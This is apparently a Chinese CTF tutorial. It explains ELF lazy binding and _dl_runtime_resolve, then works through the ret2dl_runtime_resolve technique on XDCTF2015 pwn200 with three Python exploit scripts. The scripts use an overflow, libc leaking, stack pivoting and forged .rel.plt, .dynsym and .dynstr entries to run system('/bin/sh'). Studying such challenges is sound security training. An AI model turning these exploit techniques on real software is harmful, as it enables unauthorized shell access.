dl-runtime-resolve

前言

• 在Linux中如果程序想要调用其它动态链接库的函数，必须要在程序加载的时候动态链接；在一个程序运行过程中，可能很多函数在程序执行完时都不会用到，比如一些错误处理函数或者一些用户很少用到的功能模块，所以ELF采用一种叫做延迟绑定(Lazy Binding)的做法，基本思想就是当函数第一次被调用的时候才进行绑定（符号查找、重定位等）；而在Linux中是利用_dl_runtime_resolve(link_map_obj, reloc_index)函数来对动态链接的函数进行重定位的。

_dl_runtime_resolve函数具体运行模式

1. 首先用link_map访问.dynamic，分别取出.dynstr、.dynsym、.rel.plt的地址
2. .rel.plt+参数reloc_index，求出当前函数的重定位表项Elf32_Rel的指针，记作rel
3. rel->r_info >> 8 作为.dynsym的下标，求出当前函数的符号表项Elf32_Sym的指针，记作sym
4. .dynstr + sym->st_name得出符号名 字符串指针
5. 在动态链接库查找这个函数的地址，并且把地址赋值给*rel->r_offset，即GOT表
6. 最后调用这个函数

以puts为例追踪一下ELF文件libc函数解析过程

call puts@plt

si进入call puts@plt

因为会jmp dword ptr [0x804a00c]，所以查看一下0x804a00c的内容，存放的是0x080482e6地址，其中0x080482e6是puts@plt第二条指令的地址，即puts@got中初始存放puts@plt的第二条指令地址

jmp 0x80482d0

• 其中ds:0x804a008存放的是_dl_runtime_resolve的地址

• 这样的话，加上之前的push 0，就push了两个参数，这两个参数刚好是_dl_runtime_resolve(link_map_obj, reloc_index)需要的参数，其中0x804a004就是link_map指针，0就是reloc_index

push   0
push   dword ptr [0x804a004]

那么我们看看通过这两个参数是如何找到puts函数的呢

• 首先找到link_map的地址

• 然后通过link_map找到.dynamic的地址，其中第三个地址就是.dynamic的地址，即0x8049f14

• 然后通过.dynamic来找到.dynstr、.dynsym、.rel.plt的地址
  .dynamic的地址加8*8+4=0x44的位置是.dynstr:[0x08049f14+0x44]=[0x08049f58]，即0x0804821c
.dynamic的地址加8*9+4=0x4c的位置是.dynsym:[0x08049f14+0x4c]=[0x08049f60]，即0x080481cc
.dynamic的地址加8*16+4=0x84的位置是.rel.plt:[0x08049f14+0x84]=[0x08049f98]，即0x08048298

• 然后用.rel.plt的地址加上参数reloc_index，即0x8048298+0=0x8048298找到函数的重定位表项Elf32_Rel的指针，记作rel

• 这里rel为0x8048298，所以

r_offset = 0x804a00c
r_info = 107h

• 通过Elf32_rel结构的r_info >> 8 = 107h >> 8 = 1 作为.dynsym中的下标

• 查看0x80481dc内存，找到puts在.dynstr表项索引为0x1a，所以st_name的地址为0x804821c+0x1a=0x8048236

• 最后在动态链接库查找这个函数的地址，并且把地址赋值给*rel->r_offset，即GOT表就可以了

利用思路

• 事实上，虚拟地址是从st_name得来的，只要我们能够修改这个st_name的内容就可以执行任意函数，比如把st_name的内容修改为"system"
• reloc_index即参数n是我们可以控制的，我们需要做的事通过一系列操作，把reloc_index可控转化为st_name可控；我们需要在一个可写地址上构造一系列伪结构就可以完成利用或在条件允许的情况下直接修改.dynstr
• 所以我们需要在程序中找一段空间start出来，放我们直接构造的fake_dynsym，fake_dynstr和fake_rel_plt等，然后利用栈迁移到手法将栈转移到start

计算reloc_index

• relic_index = fake_rel_plt_addr - 0x804833c

计算r_info

• r_info的计算方法有两个步骤
• x = （欲伪造的地址 - .dynsym基地址）/ 0x10
• r_info = x << 8 | 0x7

计算st_name

• st_name = fake_dynstr_addr - 0x804827c

例子

（这里有XDCTF2015的 pwn200）

方法一

• 直接使用 write 泄漏 libc ，然后执行 system('/bin/sh')

from pwn import *

local=1
pc='./main'
aslr=True
context.log_level=True
#context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('./libc6_2.27-3ubuntu1.2_i386.so')
pwn200=ELF('./main')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 39802]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x ,drop=True)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
pi = lambda : p.interactive()

def dbg(b =""):
    gdb.attach(p , b)
    raw_input()

def lg(s, addr):
    log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    write_plt = pwn200.plt['write']
    lg('write_plt', write_plt)
    write_got = pwn200.got['write']
    lg('write_got', write_got)
    start_addr = pwn200.symbols['_start']
    lg('start_addr', start_addr)

    ru("Welcome to XDCTF2015~!\n")
    payload = 'a'*0x6c
    payload += 'b'*4

    payload += p32(write_plt)
    payload += p32(start_addr)
    payload += p32(1)
    payload += p32(write_got)
    payload += p32(4)

    sl(payload)

    write_addr = u32(rv(4))
    lg('write_addr', write_addr)

    libc_base = write_addr - libc.symbols['write']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + libc.search("/bin/sh").next()
    lg('libc_addr', libc_base)
    lg('system_addr', system_addr)
    lg('binsh_addr', binsh_addr)

    payload = 'a'*0x6c
    payload += 'b'*4

    payload += p32(system_addr)
    payload += p32(0xdeadbeef)
    payload += p32(binsh_addr)
    sl(payload)

    pi()

方法二

• 直接使用了roputils库，比较简洁

# coding=utf-8
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'main'
offset = 112

r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)

bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

方法三

• 其实一步一步伪构造能更容易理解过程，可以参考高级ROP ret2dl_runtime 之通杀详解和ROP高级用法之ret2_dl_runtime_resolve

• 上面构造的ROP左边是做一个栈的迁移
• 右边是伪造的解析链

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './main'
p = process(name)
elf= ELF(name)
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x8048330
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x8048278
resolve_plt = 0x08048380
leave_ret_addr = 0x0804851D
start = 0x804aa00
fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x8
#n index_arg
n = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system"+'\x00'+'\x00'
fake_dynstr += "/bin/sh"+'\x00'
pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
p.recvuntil('Welcome to XDCTF2015~!\n')
p.sendline(pay1)
pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.sendline(pay2)
success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))
p.interactive()